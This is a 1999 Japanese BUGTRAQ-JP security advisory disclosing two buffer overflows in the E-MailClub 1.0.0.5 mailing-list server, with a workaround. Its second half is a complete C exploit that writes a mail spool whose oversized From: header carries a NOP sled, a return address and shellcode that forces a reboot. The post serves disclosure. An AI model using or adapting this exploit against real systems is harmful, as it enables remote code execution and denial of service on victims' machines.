Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <382A59491CC.5418SHADOWPENGUIN@fox.nightland.net> Date: Thu, 11 Nov 1999 14:51:05 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: Admiral E-MailClub 1.0.0.5 From: Buffer Overflow X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM UNYUN@ShadowPenguinSecurityです。 (株)アドミラルシステム (http://email-club.admiral.co.jp/)リリースの E-MailClub 1.0.0.5にオーバーフローによるセキュリティホールがあるようです。 E-MailClubは、「ダイヤルアップ環境でメーリングリストを運営できるメーリン グリストサーバソフト」(?)として、窓の杜等でシェアウエアとして紹介・配布さ れています。 以下、詳細をご報告致します。 1. From: Buffer Overflowによる任意コードの実行 1) 概要 POPサービス処理において、長いFrom: 行を含むメールを受け取った時点でバッファ オーバーフローが発生しています。このバッファオーバーフローはスタック上の ローカルバッファを上書きし、RETアドレスの書き換え、およびEIPの制御が可能 となっており、 From行に記述された任意のコードを実行させることができます。 2) 危険性 「メッセージ配信」ボタンを押す等の操作で攻撃コードの記述されたメールを POPした時点て、ウイルス、トロイの木馬の感染、侵入、システム破壊等の重大な 被害を受ける可能性があります。 3) 解決法 E-MailClubを用いてPOPする前に、通常のメーラーにてサーバーにメールを残す設 定でメールを受信し、From: に怪しい指定がないかどうか確認してください。 2. subscribe Buffer OverflowによるDoS攻撃 1) 概要 POPサービス処理において、長いsubscribeコマンドを含むメールを受け取った時 点でバッファオーバーフローが発生し、E-MailClubが異常終了します。 2) 危険性 このオーバーフローは現在の所EIPの制御の可能性は確認されていませんが、任意 のユーザーが E-MailClub Ver1.0.0.5のユーザーに対してサービス停止攻撃を行 うことができます。 3) 解決法 1. と同様 [参考コード] このexploitコードは攻撃コードを含むメールキューを作成します。このメールをE-MailClub Ver1.0.0.5でPOPした場合、システムを強制再起動する攻撃コードが実行されます。 なお、このコードはUNIX上にて動作します。生成された攻撃コードを含むメール キューは Windows98 4.10.1998 (日本語版)にて攻撃可能を確認しています。 --- /*========================================================================= E-MailClub Ver1.0.0.5 for Windows98J exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ========================================================================= */ #include #include #define HD1 \ "From exploit Wed Oct 27 01:53 JST 1999\n"\ "Date: Wed, 27 Oct 1999 01:53:00 +0900\n" #define HD2 \ "Message-Id: <3815C9EBDC.E749HOGE@192.168.0.1>\n"\ "MIME-Version: 1.0\n"\ "Content-Transfer-Encoding: 7bit\n"\ "Content-Type: text/plain; charset=US-ASCII\n"\ "Content-Length: 1\n"\ "Status: U\n\n\n\n" #define MAXBUF 2000 #define MAXBUF2 500 #define NOP 0x90 #define RETADR 511 #define EIP 0x7fc1415b unsigned char exploit_code[100]={ 0xb8,0x55,0x55,0x55, 0x55,0x50,0x50,0xB8, 0x96,0x91,0xFA,0x5F, 0x03,0xC0,0x50,0xc3, }; main(int argc, char *argv[]) { FILE *fp; char buf[MAXBUF]; unsigned int ip; if (argc!=2){ printf("usage: %s mailspool\n",argv[0]); exit(1); } if ((fp=fopen(argv[1],"wb"))==NULL){ printf("Can not write to %s\n",argv[1]); exit(1); } memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0; ip=EIP; buf[RETADR-1]=0xa0; buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+RETADR+40,exploit_code,strlen(exploit_code)); fprintf(fp,"%s",HD1); fprintf(fp,"From: %s \n",buf); fprintf(fp,"To: you@your.host.net\n"); fprintf(fp,"Subject: subscribe exploit\n"); fprintf(fp,"%s",HD2); fclose(fp); } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com